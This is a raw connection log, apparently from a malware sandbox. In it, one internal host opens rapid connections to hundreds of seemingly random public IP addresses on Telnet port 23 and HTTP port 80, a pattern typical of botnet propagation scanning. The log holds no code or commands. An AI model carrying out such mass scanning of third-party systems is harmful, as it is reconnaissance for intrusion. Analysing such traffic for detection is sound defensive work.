Jan 5, 2025 14:26:52.627326965 CET	57214	23	192.168.2.13	136.247.179.142
Jan 5, 2025 14:26:52.627341032 CET	57214	23	192.168.2.13	196.2.93.115
Jan 5, 2025 14:26:52.627341032 CET	57214	23	192.168.2.13	158.120.177.97
Jan 5, 2025 14:26:52.627362013 CET	57214	23	192.168.2.13	19.128.161.208
Jan 5, 2025 14:26:52.627362013 CET	57214	23	192.168.2.13	53.185.91.106
Jan 5, 2025 14:26:52.627362013 CET	57214	23	192.168.2.13	182.190.114.33
Jan 5, 2025 14:26:52.627367020 CET	57214	23	192.168.2.13	111.210.12.14
Jan 5, 2025 14:26:52.627382040 CET	57214	23	192.168.2.13	136.29.105.147
Jan 5, 2025 14:26:52.627382994 CET	57214	23	192.168.2.13	142.108.148.188
Jan 5, 2025 14:26:52.627389908 CET	57214	23	192.168.2.13	205.115.95.141
Jan 5, 2025 14:26:52.627399921 CET	57214	23	192.168.2.13	48.63.224.113
Jan 5, 2025 14:26:52.627399921 CET	57214	23	192.168.2.13	53.128.3.92
Jan 5, 2025 14:26:52.627412081 CET	57214	23	192.168.2.13	94.111.72.17
Jan 5, 2025 14:26:52.627415895 CET	57214	23	192.168.2.13	64.36.230.217
Jan 5, 2025 14:26:52.627433062 CET	57214	23	192.168.2.13	210.167.244.136
Jan 5, 2025 14:26:52.627434015 CET	57214	23	192.168.2.13	147.10.61.181
Jan 5, 2025 14:26:52.627439022 CET	57214	23	192.168.2.13	98.255.190.226
Jan 5, 2025 14:26:52.627451897 CET	57214	23	192.168.2.13	38.76.67.109
Jan 5, 2025 14:26:52.627456903 CET	57214	23	192.168.2.13	76.31.150.127
Jan 5, 2025 14:26:52.627473116 CET	57214	23	192.168.2.13	104.87.176.133
Jan 5, 2025 14:26:52.627475023 CET	57214	23	192.168.2.13	89.61.78.21
Jan 5, 2025 14:26:52.627485991 CET	57214	23	192.168.2.13	221.211.49.123
Jan 5, 2025 14:26:52.627491951 CET	57214	23	192.168.2.13	222.189.147.128
Jan 5, 2025 14:26:52.627491951 CET	57214	23	192.168.2.13	184.16.236.141
Jan 5, 2025 14:26:52.627494097 CET	57214	23	192.168.2.13	104.158.134.3
Jan 5, 2025 14:26:52.627506971 CET	57214	23	192.168.2.13	80.51.122.141
Jan 5, 2025 14:26:52.627507925 CET	57214	23	192.168.2.13	119.173.196.62
Jan 5, 2025 14:26:52.627511024 CET	57214	23	192.168.2.13	86.90.12.207
Jan 5, 2025 14:26:52.627511024 CET	57214	23	192.168.2.13	178.10.206.126
Jan 5, 2025 14:26:52.627531052 CET	57214	23	192.168.2.13	53.84.243.46
Jan 5, 2025 14:26:52.627532959 CET	57214	23	192.168.2.13	126.210.63.223
Jan 5, 2025 14:26:52.627532959 CET	57214	23	192.168.2.13	18.75.190.175
Jan 5, 2025 14:26:52.627533913 CET	57214	23	192.168.2.13	96.187.32.68
Jan 5, 2025 14:26:52.627542973 CET	57214	23	192.168.2.13	220.123.169.27
Jan 5, 2025 14:26:52.627545118 CET	57214	23	192.168.2.13	13.189.34.224
Jan 5, 2025 14:26:52.627547026 CET	57214	23	192.168.2.13	183.197.197.25
Jan 5, 2025 14:26:52.627547026 CET	57214	23	192.168.2.13	191.136.165.100
Jan 5, 2025 14:26:52.627547026 CET	57214	23	192.168.2.13	41.40.29.91
Jan 5, 2025 14:26:52.627552986 CET	57214	23	192.168.2.13	103.14.200.175
Jan 5, 2025 14:26:52.627552986 CET	57214	23	192.168.2.13	211.139.139.86
Jan 5, 2025 14:26:52.627556086 CET	57214	23	192.168.2.13	76.112.36.234
Jan 5, 2025 14:26:52.627561092 CET	57214	23	192.168.2.13	117.167.185.95
Jan 5, 2025 14:26:52.627564907 CET	57214	23	192.168.2.13	200.91.225.168
Jan 5, 2025 14:26:52.627568007 CET	57214	23	192.168.2.13	199.156.118.130
Jan 5, 2025 14:26:52.627572060 CET	57214	23	192.168.2.13	166.118.71.180
Jan 5, 2025 14:26:52.627573013 CET	57214	23	192.168.2.13	48.143.137.66
Jan 5, 2025 14:26:52.627574921 CET	57214	23	192.168.2.13	129.6.39.58
Jan 5, 2025 14:26:52.627574921 CET	57214	23	192.168.2.13	77.61.52.116
Jan 5, 2025 14:26:52.627574921 CET	57214	23	192.168.2.13	98.125.112.249
Jan 5, 2025 14:26:52.627585888 CET	57214	23	192.168.2.13	158.64.24.178
Jan 5, 2025 14:26:52.627589941 CET	57214	23	192.168.2.13	93.23.238.59
Jan 5, 2025 14:26:52.627597094 CET	57214	23	192.168.2.13	178.255.179.41
Jan 5, 2025 14:26:52.627609968 CET	57214	23	192.168.2.13	200.234.22.209
Jan 5, 2025 14:26:52.627609968 CET	57214	23	192.168.2.13	96.92.169.149
Jan 5, 2025 14:26:52.627610922 CET	57214	23	192.168.2.13	138.152.63.198
Jan 5, 2025 14:26:52.627610922 CET	57214	23	192.168.2.13	218.29.83.143
Jan 5, 2025 14:26:52.627618074 CET	57214	23	192.168.2.13	85.226.79.226
Jan 5, 2025 14:26:52.627620935 CET	57214	23	192.168.2.13	46.85.136.209
Jan 5, 2025 14:26:52.627629042 CET	57214	23	192.168.2.13	207.63.40.128
Jan 5, 2025 14:26:52.627636909 CET	57214	23	192.168.2.13	66.230.117.247
Jan 5, 2025 14:26:52.627640009 CET	57214	23	192.168.2.13	121.140.141.106
Jan 5, 2025 14:26:52.627654076 CET	57214	23	192.168.2.13	99.253.237.31
Jan 5, 2025 14:26:52.627655029 CET	57214	23	192.168.2.13	178.42.221.18
Jan 5, 2025 14:26:52.627655983 CET	57214	23	192.168.2.13	110.115.64.74
Jan 5, 2025 14:26:52.627686977 CET	57214	23	192.168.2.13	13.134.173.130
Jan 5, 2025 14:26:52.627687931 CET	57214	23	192.168.2.13	105.116.92.244
Jan 5, 2025 14:26:52.627688885 CET	57214	23	192.168.2.13	59.103.177.201
Jan 5, 2025 14:26:52.627690077 CET	57214	23	192.168.2.13	50.173.181.141
Jan 5, 2025 14:26:52.627692938 CET	57214	23	192.168.2.13	68.56.121.72
Jan 5, 2025 14:26:52.627707005 CET	57214	23	192.168.2.13	146.10.212.89
Jan 5, 2025 14:26:52.627707958 CET	57214	23	192.168.2.13	210.243.60.169
Jan 5, 2025 14:26:52.627718925 CET	57214	23	192.168.2.13	199.46.110.158
Jan 5, 2025 14:26:52.627726078 CET	57214	23	192.168.2.13	140.115.194.202
Jan 5, 2025 14:26:52.627727985 CET	57214	23	192.168.2.13	92.166.247.10
Jan 5, 2025 14:26:52.627739906 CET	57214	23	192.168.2.13	99.239.99.200
Jan 5, 2025 14:26:52.627742052 CET	57214	23	192.168.2.13	186.209.6.186
Jan 5, 2025 14:26:52.627742052 CET	57214	23	192.168.2.13	77.241.174.235
Jan 5, 2025 14:26:52.627754927 CET	57214	23	192.168.2.13	92.41.230.120
Jan 5, 2025 14:26:52.627758026 CET	57214	23	192.168.2.13	153.102.5.121
Jan 5, 2025 14:26:52.627763033 CET	57214	23	192.168.2.13	158.143.238.32
Jan 5, 2025 14:26:52.627778053 CET	57214	23	192.168.2.13	27.31.91.136
Jan 5, 2025 14:26:52.627784014 CET	57214	23	192.168.2.13	167.113.153.234
Jan 5, 2025 14:26:52.627791882 CET	57214	23	192.168.2.13	12.54.151.164
Jan 5, 2025 14:26:52.627798080 CET	57214	23	192.168.2.13	196.131.227.199
Jan 5, 2025 14:26:52.627810001 CET	57214	23	192.168.2.13	180.66.9.12
Jan 5, 2025 14:26:52.627811909 CET	57214	23	192.168.2.13	115.149.190.135
Jan 5, 2025 14:26:52.627820015 CET	57214	23	192.168.2.13	154.182.209.73
Jan 5, 2025 14:26:52.627825022 CET	57214	23	192.168.2.13	219.217.177.160
Jan 5, 2025 14:26:52.627825975 CET	57214	23	192.168.2.13	9.179.135.49
Jan 5, 2025 14:26:52.627830982 CET	57214	23	192.168.2.13	131.234.178.114
Jan 5, 2025 14:26:52.627873898 CET	56958	80	192.168.2.13	156.140.76.54
Jan 5, 2025 14:26:52.627878904 CET	56958	80	192.168.2.13	169.237.154.211
Jan 5, 2025 14:26:52.627890110 CET	56958	80	192.168.2.13	159.232.125.238
Jan 5, 2025 14:26:52.627892971 CET	56958	80	192.168.2.13	65.17.239.138
Jan 5, 2025 14:26:52.627913952 CET	56958	80	192.168.2.13	194.96.66.84
Jan 5, 2025 14:26:52.627913952 CET	56958	80	192.168.2.13	220.173.24.29
Jan 5, 2025 14:26:52.627914906 CET	56958	80	192.168.2.13	201.51.142.10
Jan 5, 2025 14:26:52.627916098 CET	56958	80	192.168.2.13	161.232.253.148
Jan 5, 2025 14:26:52.627913952 CET	56958	80	192.168.2.13	12.252.105.203
Jan 5, 2025 14:26:52.627916098 CET	56958	80	192.168.2.13	186.110.33.61
Jan 5, 2025 14:26:52.627918959 CET	56958	80	192.168.2.13	145.154.39.92
Jan 5, 2025 14:26:52.627928972 CET	56958	80	192.168.2.13	189.249.83.166
Jan 5, 2025 14:26:52.627933025 CET	56958	80	192.168.2.13	12.11.208.14
Jan 5, 2025 14:26:52.627939939 CET	56958	80	192.168.2.13	12.129.186.99
Jan 5, 2025 14:26:52.627943039 CET	56958	80	192.168.2.13	34.66.209.76
Jan 5, 2025 14:26:52.627943993 CET	56958	80	192.168.2.13	107.126.254.13
Jan 5, 2025 14:26:52.627954960 CET	56958	80	192.168.2.13	41.177.50.238
Jan 5, 2025 14:26:52.627963066 CET	56958	80	192.168.2.13	101.191.231.187
Jan 5, 2025 14:26:52.627969980 CET	56958	80	192.168.2.13	206.79.26.246
Jan 5, 2025 14:26:52.627975941 CET	56958	80	192.168.2.13	149.172.96.108
Jan 5, 2025 14:26:52.627979040 CET	56958	80	192.168.2.13	89.247.66.21
Jan 5, 2025 14:26:52.627985001 CET	56958	80	192.168.2.13	91.157.123.222
Jan 5, 2025 14:26:52.627985954 CET	56958	80	192.168.2.13	104.33.63.71
Jan 5, 2025 14:26:52.627985954 CET	56958	80	192.168.2.13	147.192.28.111
Jan 5, 2025 14:26:52.628001928 CET	56958	80	192.168.2.13	82.1.20.182
Jan 5, 2025 14:26:52.628001928 CET	56958	80	192.168.2.13	48.170.21.91
Jan 5, 2025 14:26:52.628006935 CET	56958	80	192.168.2.13	132.126.209.78
Jan 5, 2025 14:26:52.628026962 CET	56958	80	192.168.2.13	58.112.11.182
Jan 5, 2025 14:26:52.628031015 CET	56958	80	192.168.2.13	179.224.173.102
Jan 5, 2025 14:26:52.628031969 CET	56958	80	192.168.2.13	106.121.74.112
Jan 5, 2025 14:26:52.628041983 CET	56958	80	192.168.2.13	46.83.187.166
Jan 5, 2025 14:26:52.628043890 CET	56958	80	192.168.2.13	87.211.215.114
Jan 5, 2025 14:26:52.628055096 CET	56958	80	192.168.2.13	103.181.223.67
Jan 5, 2025 14:26:52.628056049 CET	56958	80	192.168.2.13	78.7.132.68
Jan 5, 2025 14:26:52.628062010 CET	56958	80	192.168.2.13	167.201.210.156
Jan 5, 2025 14:26:52.628063917 CET	56958	80	192.168.2.13	192.112.61.207
Jan 5, 2025 14:26:52.628078938 CET	56958	80	192.168.2.13	159.104.128.91
Jan 5, 2025 14:26:52.628077984 CET	56958	80	192.168.2.13	153.135.153.101
Jan 5, 2025 14:26:52.628082991 CET	56958	80	192.168.2.13	191.32.157.34
Jan 5, 2025 14:26:52.628086090 CET	56958	80	192.168.2.13	62.77.138.131
Jan 5, 2025 14:26:52.628098011 CET	56958	80	192.168.2.13	206.71.2.65
Jan 5, 2025 14:26:52.628101110 CET	56958	80	192.168.2.13	147.208.250.38
Jan 5, 2025 14:26:52.628101110 CET	56958	80	192.168.2.13	19.192.193.86
Jan 5, 2025 14:26:52.628118992 CET	56958	80	192.168.2.13	178.177.131.182
Jan 5, 2025 14:26:52.628123045 CET	56958	80	192.168.2.13	34.134.156.55
Jan 5, 2025 14:26:52.628123045 CET	56958	80	192.168.2.13	90.116.98.28
Jan 5, 2025 14:26:52.628144026 CET	56958	80	192.168.2.13	35.205.101.92
Jan 5, 2025 14:26:52.628145933 CET	56958	80	192.168.2.13	94.85.252.40
Jan 5, 2025 14:26:52.628148079 CET	56958	80	192.168.2.13	199.140.202.136
Jan 5, 2025 14:26:52.628148079 CET	56958	80	192.168.2.13	105.146.38.10
Jan 5, 2025 14:26:52.628154039 CET	56958	80	192.168.2.13	80.218.202.253
Jan 5, 2025 14:26:52.628154039 CET	56958	80	192.168.2.13	150.66.150.200
Jan 5, 2025 14:26:52.628159046 CET	56958	80	192.168.2.13	169.62.71.174
Jan 5, 2025 14:26:52.628159046 CET	56958	80	192.168.2.13	155.187.131.209
Jan 5, 2025 14:26:52.628159046 CET	56958	80	192.168.2.13	68.147.79.33
Jan 5, 2025 14:26:52.628163099 CET	56958	80	192.168.2.13	126.164.145.188
Jan 5, 2025 14:26:52.628169060 CET	56958	80	192.168.2.13	117.177.160.109
Jan 5, 2025 14:26:52.628170013 CET	56958	80	192.168.2.13	107.176.245.234
Jan 5, 2025 14:26:52.628170967 CET	56958	80	192.168.2.13	18.54.120.33
Jan 5, 2025 14:26:52.628170967 CET	56958	80	192.168.2.13	87.105.73.107
Jan 5, 2025 14:26:52.628174067 CET	56958	80	192.168.2.13	172.232.227.83
Jan 5, 2025 14:26:52.628176928 CET	56958	80	192.168.2.13	117.77.228.2
Jan 5, 2025 14:26:52.628176928 CET	56958	80	192.168.2.13	100.140.222.212
Jan 5, 2025 14:26:52.628176928 CET	56958	80	192.168.2.13	202.100.250.31
Jan 5, 2025 14:26:52.628192902 CET	56958	80	192.168.2.13	18.24.203.187
Jan 5, 2025 14:26:52.628194094 CET	56958	80	192.168.2.13	178.25.50.115
Jan 5, 2025 14:26:52.628200054 CET	56958	80	192.168.2.13	48.202.104.240
Jan 5, 2025 14:26:52.628210068 CET	56958	80	192.168.2.13	1.54.181.62
Jan 5, 2025 14:26:52.628220081 CET	56958	80	192.168.2.13	79.36.83.171
Jan 5, 2025 14:26:52.628226995 CET	56958	80	192.168.2.13	95.212.50.193
Jan 5, 2025 14:26:52.628232956 CET	56958	80	192.168.2.13	106.209.12.234
Jan 5, 2025 14:26:52.628243923 CET	56958	80	192.168.2.13	131.56.107.226
Jan 5, 2025 14:26:52.628252029 CET	56958	80	192.168.2.13	153.226.137.237
Jan 5, 2025 14:26:52.628253937 CET	56958	80	192.168.2.13	52.120.161.27
Jan 5, 2025 14:26:52.628258944 CET	56958	80	192.168.2.13	36.23.30.146
Jan 5, 2025 14:26:52.628264904 CET	56958	80	192.168.2.13	180.100.193.7
Jan 5, 2025 14:26:52.628274918 CET	56958	80	192.168.2.13	31.177.158.24
Jan 5, 2025 14:26:52.628274918 CET	56958	80	192.168.2.13	162.95.230.71
Jan 5, 2025 14:26:52.628283978 CET	56958	80	192.168.2.13	212.43.151.9
Jan 5, 2025 14:26:52.628287077 CET	56958	80	192.168.2.13	193.67.168.115
Jan 5, 2025 14:26:52.628287077 CET	56958	80	192.168.2.13	107.131.87.116
Jan 5, 2025 14:26:52.628288984 CET	56958	80	192.168.2.13	116.45.122.68
Jan 5, 2025 14:26:52.628300905 CET	56958	80	192.168.2.13	86.80.133.14
Jan 5, 2025 14:26:52.628305912 CET	56958	80	192.168.2.13	59.69.182.191
Jan 5, 2025 14:26:52.628309011 CET	56958	80	192.168.2.13	180.190.236.177
Jan 5, 2025 14:26:52.628309011 CET	56958	80	192.168.2.13	108.207.51.178
Jan 5, 2025 14:26:52.628319979 CET	56958	80	192.168.2.13	158.76.223.102
Jan 5, 2025 14:26:52.628326893 CET	56958	80	192.168.2.13	66.41.254.208
Jan 5, 2025 14:26:52.628329039 CET	56958	80	192.168.2.13	168.7.208.215
Jan 5, 2025 14:26:52.628333092 CET	56958	80	192.168.2.13	92.24.65.224
Jan 5, 2025 14:26:52.628334999 CET	56958	80	192.168.2.13	189.218.20.98
Jan 5, 2025 14:26:52.628343105 CET	56958	80	192.168.2.13	96.109.104.160
Jan 5, 2025 14:26:52.628350973 CET	56958	80	192.168.2.13	137.15.67.19
Jan 5, 2025 14:26:52.628350973 CET	56958	80	192.168.2.13	115.189.176.22
Jan 5, 2025 14:26:52.628355980 CET	56958	80	192.168.2.13	88.115.31.179
Jan 5, 2025 14:26:52.628356934 CET	56958	80	192.168.2.13	196.238.205.75
Jan 5, 2025 14:26:52.628356934 CET	56958	80	192.168.2.13	19.253.110.250
Jan 5, 2025 14:26:52.628356934 CET	56958	80	192.168.2.13	46.123.206.114
Jan 5, 2025 14:26:52.628376961 CET	56958	80	192.168.2.13	152.2.50.160
Jan 5, 2025 14:26:52.628376961 CET	56958	80	192.168.2.13	31.17.57.112
Jan 5, 2025 14:26:52.628379107 CET	56958	80	192.168.2.13	84.10.138.81
Jan 5, 2025 14:26:52.628387928 CET	56958	80	192.168.2.13	105.122.111.103
Jan 5, 2025 14:26:52.628386974 CET	56958	80	192.168.2.13	97.159.189.224
Jan 5, 2025 14:26:52.628393888 CET	56958	80	192.168.2.13	31.160.11.149
Jan 5, 2025 14:26:52.628408909 CET	56958	80	192.168.2.13	117.208.239.5
Jan 5, 2025 14:26:52.628408909 CET	56958	80	192.168.2.13	129.141.32.207
Jan 5, 2025 14:26:52.628412008 CET	56958	80	192.168.2.13	193.172.233.95
Jan 5, 2025 14:26:52.628412008 CET	56958	80	192.168.2.13	19.86.102.29
Jan 5, 2025 14:26:52.628413916 CET	56958	80	192.168.2.13	120.164.18.52
Jan 5, 2025 14:26:52.628433943 CET	56958	80	192.168.2.13	208.203.17.16
Jan 5, 2025 14:26:52.628436089 CET	56958	80	192.168.2.13	161.252.210.247
Jan 5, 2025 14:26:52.628439903 CET	56958	80	192.168.2.13	74.148.23.229
Jan 5, 2025 14:26:52.628439903 CET	56958	80	192.168.2.13	124.80.205.33
Jan 5, 2025 14:26:52.628441095 CET	56958	80	192.168.2.13	122.25.176.114
Jan 5, 2025 14:26:52.628443003 CET	56958	80	192.168.2.13	117.179.71.65
Jan 5, 2025 14:26:52.628443003 CET	56958	80	192.168.2.13	184.206.104.247
Jan 5, 2025 14:26:52.628456116 CET	56958	80	192.168.2.13	39.124.70.108
Jan 5, 2025 14:26:52.628463984 CET	56958	80	192.168.2.13	145.39.238.208
Jan 5, 2025 14:26:52.628474951 CET	56958	80	192.168.2.13	154.92.218.58
Jan 5, 2025 14:26:52.628475904 CET	56958	80	192.168.2.13	153.97.238.129
Jan 5, 2025 14:26:52.628487110 CET	56958	80	192.168.2.13	176.94.77.26
Jan 5, 2025 14:26:52.628488064 CET	56958	80	192.168.2.13	111.222.20.232
Jan 5, 2025 14:26:52.628493071 CET	56958	80	192.168.2.13	130.173.33.199
Jan 5, 2025 14:26:52.628498077 CET	56958	80	192.168.2.13	149.28.113.244
Jan 5, 2025 14:26:52.628509998 CET	56958	80	192.168.2.13	52.25.39.101
Jan 5, 2025 14:26:52.628509998 CET	56958	80	192.168.2.13	137.190.13.97
Jan 5, 2025 14:26:52.628509998 CET	56958	80	192.168.2.13	124.168.193.84
Jan 5, 2025 14:26:52.628526926 CET	56958	80	192.168.2.13	146.143.153.161
Jan 5, 2025 14:26:52.628530025 CET	56958	80	192.168.2.13	188.212.88.102
Jan 5, 2025 14:26:52.628530025 CET	56958	80	192.168.2.13	197.100.223.194
Jan 5, 2025 14:26:52.628530025 CET	56958	80	192.168.2.13	1.56.237.69
Jan 5, 2025 14:26:52.628547907 CET	56958	80	192.168.2.13	210.30.52.111
Jan 5, 2025 14:26:52.628551006 CET	56958	80	192.168.2.13	158.195.142.33
Jan 5, 2025 14:26:52.628551006 CET	56958	80	192.168.2.13	175.224.136.29
Jan 5, 2025 14:26:52.628568888 CET	56958	80	192.168.2.13	83.23.73.57
Jan 5, 2025 14:26:52.628576040 CET	56958	80	192.168.2.13	144.131.81.156
Jan 5, 2025 14:26:52.628587961 CET	56958	80	192.168.2.13	203.104.141.230
Jan 5, 2025 14:26:52.628588915 CET	56958	80	192.168.2.13	89.251.215.4
Jan 5, 2025 14:26:52.628608942 CET	56958	80	192.168.2.13	104.250.129.156
Jan 5, 2025 14:26:52.628609896 CET	56958	80	192.168.2.13	197.171.73.38
Jan 5, 2025 14:26:52.628609896 CET	56958	80	192.168.2.13	24.147.70.102
Jan 5, 2025 14:26:52.628609896 CET	56958	80	192.168.2.13	96.162.33.134
Jan 5, 2025 14:26:52.628616095 CET	56958	80	192.168.2.13	38.128.33.44
Jan 5, 2025 14:26:52.628617048 CET	56958	80	192.168.2.13	85.2.133.26
Jan 5, 2025 14:26:52.628616095 CET	56958	80	192.168.2.13	24.82.176.1
Jan 5, 2025 14:26:52.628618956 CET	56958	80	192.168.2.13	35.174.248.103
Jan 5, 2025 14:26:52.628623962 CET	56958	80	192.168.2.13	95.239.190.166
Jan 5, 2025 14:26:52.628623962 CET	56958	80	192.168.2.13	104.171.40.53
Jan 5, 2025 14:26:52.628627062 CET	56958	80	192.168.2.13	185.8.172.146
Jan 5, 2025 14:26:52.628634930 CET	56958	80	192.168.2.13	221.157.118.254
Jan 5, 2025 14:26:52.628638029 CET	56958	80	192.168.2.13	87.81.220.105
Jan 5, 2025 14:26:52.628638029 CET	56958	80	192.168.2.13	171.67.167.117
Jan 5, 2025 14:26:52.628642082 CET	56958	80	192.168.2.13	128.146.100.247
Jan 5, 2025 14:26:52.628644943 CET	56958	80	192.168.2.13	59.165.37.42
Jan 5, 2025 14:26:52.628647089 CET	56958	80	192.168.2.13	48.37.183.96
Jan 5, 2025 14:26:52.628647089 CET	56958	80	192.168.2.13	137.5.210.118
Jan 5, 2025 14:26:52.628649950 CET	56958	80	192.168.2.13	190.147.221.188
Jan 5, 2025 14:26:52.628669024 CET	56958	80	192.168.2.13	136.133.240.238
Jan 5, 2025 14:26:52.628671885 CET	56958	80	192.168.2.13	82.132.111.140
Jan 5, 2025 14:26:52.628674984 CET	56958	80	192.168.2.13	58.31.73.247
Jan 5, 2025 14:26:52.628690958 CET	56958	80	192.168.2.13	170.249.72.102
Jan 5, 2025 14:26:52.628691912 CET	56958	80	192.168.2.13	100.142.115.188
Jan 5, 2025 14:26:52.628706932 CET	56958	80	192.168.2.13	157.109.105.124
Jan 5, 2025 14:26:52.628709078 CET	56958	80	192.168.2.13	101.212.132.184
Jan 5, 2025 14:26:52.628716946 CET	56958	80	192.168.2.13	216.97.171.157
Jan 5, 2025 14:26:52.628724098 CET	56958	80	192.168.2.13	9.113.205.62
Jan 5, 2025 14:26:52.628726006 CET	56958	80	192.168.2.13	36.40.246.157
Jan 5, 2025 14:26:52.628734112 CET	56958	80	192.168.2.13	207.241.141.229
Jan 5, 2025 14:26:52.628739119 CET	56958	80	192.168.2.13	70.140.197.203
Jan 5, 2025 14:26:52.628739119 CET	56958	80	192.168.2.13	70.9.26.245
Jan 5, 2025 14:26:52.628755093 CET	56958	80	192.168.2.13	169.124.167.116
Jan 5, 2025 14:26:52.628756046 CET	56958	80	192.168.2.13	31.24.251.178
Jan 5, 2025 14:26:52.628756046 CET	56958	80	192.168.2.13	162.194.128.250
Jan 5, 2025 14:26:52.628762007 CET	56958	80	192.168.2.13	1.226.107.29
Jan 5, 2025 14:26:52.628770113 CET	56958	80	192.168.2.13	23.30.145.249
Jan 5, 2025 14:26:52.628776073 CET	56958	80	192.168.2.13	169.191.4.200
Jan 5, 2025 14:26:52.628781080 CET	56958	80	192.168.2.13	4.8.24.130
Jan 5, 2025 14:26:52.628794909 CET	56958	80	192.168.2.13	205.41.204.255
Jan 5, 2025 14:26:52.628799915 CET	23	52242	192.88.16.170	192.168.2.13
Jan 5, 2025 14:26:52.628802061 CET	56958	80	192.168.2.13	107.100.4.210
Jan 5, 2025 14:26:52.628806114 CET	56958	80	192.168.2.13	180.250.231.59
Jan 5, 2025 14:26:52.628808975 CET	56958	80	192.168.2.13	46.46.61.159
Jan 5, 2025 14:26:52.628808975 CET	56958	80	192.168.2.13	53.21.211.67
Jan 5, 2025 14:26:52.628817081 CET	23	41530	173.74.147.115	192.168.2.13
Jan 5, 2025 14:26:52.628827095 CET	56958	80	192.168.2.13	182.21.221.157
Jan 5, 2025 14:26:52.628828049 CET	56958	80	192.168.2.13	155.81.90.220
Jan 5, 2025 14:26:52.628827095 CET	56958	80	192.168.2.13	42.105.84.9
Jan 5, 2025 14:26:52.628848076 CET	23	49214	174.125.8.174	192.168.2.13
Jan 5, 2025 14:26:52.628861904 CET	23	57660	37.64.134.63	192.168.2.13
Jan 5, 2025 14:26:52.628861904 CET	52242	23	192.168.2.13	192.88.16.170
Jan 5, 2025 14:26:52.628861904 CET	41530	23	192.168.2.13	173.74.147.115
Jan 5, 2025 14:26:52.628875017 CET	23	41214	106.152.185.208	192.168.2.13
Jan 5, 2025 14:26:52.628881931 CET	49214	23	192.168.2.13	174.125.8.174
Jan 5, 2025 14:26:52.628887892 CET	23	49318	144.208.77.183	192.168.2.13
Jan 5, 2025 14:26:52.628896952 CET	57660	23	192.168.2.13	37.64.134.63
Jan 5, 2025 14:26:52.628901005 CET	23	52362	198.52.146.165	192.168.2.13
Jan 5, 2025 14:26:52.628904104 CET	41214	23	192.168.2.13	106.152.185.208
Jan 5, 2025 14:26:52.628910065 CET	49318	23	192.168.2.13	144.208.77.183
Jan 5, 2025 14:26:52.628914118 CET	23	33036	130.4.212.38	192.168.2.13
Jan 5, 2025 14:26:52.628923893 CET	52362	23	192.168.2.13	198.52.146.165
Jan 5, 2025 14:26:52.628928900 CET	23	35222	126.122.25.59	192.168.2.13
Jan 5, 2025 14:26:52.628941059 CET	23	36172	143.5.144.46	192.168.2.13
Jan 5, 2025 14:26:52.628946066 CET	33036	23	192.168.2.13	130.4.212.38
Jan 5, 2025 14:26:52.628954887 CET	23	33394	101.72.186.143	192.168.2.13
Jan 5, 2025 14:26:52.628961086 CET	35222	23	192.168.2.13	126.122.25.59
Jan 5, 2025 14:26:52.628966093 CET	36172	23	192.168.2.13	143.5.144.46
Jan 5, 2025 14:26:52.628985882 CET	33394	23	192.168.2.13	101.72.186.143
Jan 5, 2025 14:26:52.629030943 CET	56958	80	192.168.2.13	54.97.192.229
Jan 5, 2025 14:26:52.629031897 CET	56958	80	192.168.2.13	154.188.74.190
Jan 5, 2025 14:26:52.629040956 CET	56958	80	192.168.2.13	156.188.156.41
Jan 5, 2025 14:26:52.629051924 CET	56958	80	192.168.2.13	59.156.2.255
Jan 5, 2025 14:26:52.629053116 CET	56958	80	192.168.2.13	24.191.87.58
Jan 5, 2025 14:26:52.629070997 CET	56958	80	192.168.2.13	4.25.130.73
Jan 5, 2025 14:26:52.629070997 CET	56958	80	192.168.2.13	220.203.100.12
Jan 5, 2025 14:26:52.629071951 CET	56958	80	192.168.2.13	32.232.168.97
Jan 5, 2025 14:26:52.629089117 CET	56958	80	192.168.2.13	192.146.243.183
Jan 5, 2025 14:26:52.629091978 CET	56958	80	192.168.2.13	90.176.154.151
Jan 5, 2025 14:26:52.629091978 CET	56958	80	192.168.2.13	75.125.81.179
Jan 5, 2025 14:26:52.629091978 CET	56958	80	192.168.2.13	24.232.251.60
Jan 5, 2025 14:26:52.629097939 CET	56958	80	192.168.2.13	204.131.29.26
Jan 5, 2025 14:26:52.629117012 CET	56958	80	192.168.2.13	37.16.132.132
Jan 5, 2025 14:26:52.629120111 CET	56958	80	192.168.2.13	96.111.105.139
Jan 5, 2025 14:26:52.629117012 CET	56958	80	192.168.2.13	139.186.67.72
Jan 5, 2025 14:26:52.629122019 CET	56958	80	192.168.2.13	193.0.229.38
Jan 5, 2025 14:26:52.629123926 CET	56958	80	192.168.2.13	34.118.167.132
Jan 5, 2025 14:26:52.629126072 CET	56958	80	192.168.2.13	72.186.125.205
Jan 5, 2025 14:26:52.629129887 CET	56958	80	192.168.2.13	117.188.125.57
Jan 5, 2025 14:26:52.629133940 CET	56958	80	192.168.2.13	84.157.3.46
Jan 5, 2025 14:26:52.629154921 CET	56958	80	192.168.2.13	177.48.100.159
Jan 5, 2025 14:26:52.629156113 CET	56958	80	192.168.2.13	191.133.161.158
Jan 5, 2025 14:26:52.629163027 CET	56958	80	192.168.2.13	180.174.146.146
Jan 5, 2025 14:26:52.629170895 CET	56958	80	192.168.2.13	194.68.190.54
Jan 5, 2025 14:26:52.629172087 CET	56958	80	192.168.2.13	101.128.149.114
Jan 5, 2025 14:26:52.629173040 CET	56958	80	192.168.2.13	67.192.102.54
Jan 5, 2025 14:26:52.629184008 CET	23	60554	57.87.60.192	192.168.2.13
Jan 5, 2025 14:26:52.629185915 CET	56958	80	192.168.2.13	164.241.239.83
Jan 5, 2025 14:26:52.629189968 CET	56958	80	192.168.2.13	190.23.38.204
Jan 5, 2025 14:26:52.629194021 CET	56958	80	192.168.2.13	133.35.208.233
Jan 5, 2025 14:26:52.629195929 CET	23	49172	171.249.220.193	192.168.2.13
Jan 5, 2025 14:26:52.629201889 CET	23	48202	62.204.53.104	192.168.2.13
Jan 5, 2025 14:26:52.629209995 CET	56958	80	192.168.2.13	124.88.47.250
Jan 5, 2025 14:26:52.629210949 CET	56958	80	192.168.2.13	59.43.137.142
Jan 5, 2025 14:26:52.629214048 CET	23	36832	92.229.23.10	192.168.2.13
Jan 5, 2025 14:26:52.629223108 CET	60554	23	192.168.2.13	57.87.60.192
Jan 5, 2025 14:26:52.629228115 CET	23	47702	73.90.13.63	192.168.2.13
Jan 5, 2025 14:26:52.629230022 CET	49172	23	192.168.2.13	171.249.220.193
Jan 5, 2025 14:26:52.629239082 CET	23	50480	12.74.26.216	192.168.2.13
Jan 5, 2025 14:26:52.629250050 CET	23	35530	81.141.49.95	192.168.2.13
Jan 5, 2025 14:26:52.629251003 CET	48202	23	192.168.2.13	62.204.53.104
Jan 5, 2025 14:26:52.629261017 CET	23	51950	106.0.239.219	192.168.2.13
